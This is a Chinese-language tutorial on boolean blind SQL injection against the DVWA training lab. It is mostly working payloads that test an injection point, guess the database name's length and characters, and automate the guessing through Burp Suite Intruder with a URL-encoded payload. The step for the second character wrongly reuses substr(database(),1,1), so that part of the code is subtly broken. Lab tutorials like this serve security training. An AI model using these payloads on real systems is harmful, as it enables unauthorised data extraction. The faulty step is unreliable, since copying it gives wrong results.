1什么是布尔注入 :注入内容后 接口不返回内容只返回正常或者不正常。
2为什么要用布尔注入: 因为正常注入无回显,但根据返回正常不正常状态可以判断我们输入的语句是否查询成功
首先 常用的函数 :
left(a,b):从左侧截取a的前b位
length(a):a长度
ascii(a):返回ascii码
if (a,b,c):如果a为真 返回b 否则反回c
substr(a,b,c):从b位开始截取a的c位长度
limit a ,b:返回a到a+b条数据
dvwa 盲注
1确认是否有注入点
输入 1 显示 存在
输入 1' and '1'='2 显示 不存在
输入1' and '1'='1 显示 存在
表示有注入点 字符型 如果是数字型 输入 【1 and 1=2】【1 and 1=1】测试
2查询当前库名长度
database():当前数据库名称
length(a):a的长度
1' and length(database())=1 -- 显示 不存在
1' and length(database())=2 -- 显示 不存在
1' and length(database())=3 -- 显示 不存在
1' and length(database())=4 -- 显示 存在
说明长度为 4位
3诸位猜测库名称
substr(a,b,c):从b位开始截取a的c位长度
1' and substr(database(),1,1)='a' -- 显示 不存在
1' and substr(database(),1,1)='b' -- 显示 不存在
1' and substr(database(),1,1)='c' -- 显示 不存在
1' and substr(database(),1,1)='d' -- 显示 存在
第一位为d
1' and substr(database(),1,1)='a' -- 显示 不存在
.....
......
....
....
1' and substr(database(),1,1)='v' -- 显示 存在
第二位v
当然这种方法存手工 如果使用burp suit
修改语句为
1' and ascii(substr(database(),1,1))=1 -- 使用ascii将值变为数字
url 转码为
1%27+and+ascii%28substr%28database%28%29%2C1%2C1%29%29%3D1+--++
录制请求添加到 inturder后 添加变更点
添加payload
选择数字 范围 48-122 覆盖 数字 大小写字母
启动攻击
查看结果
根据ascii表查询 首位 为d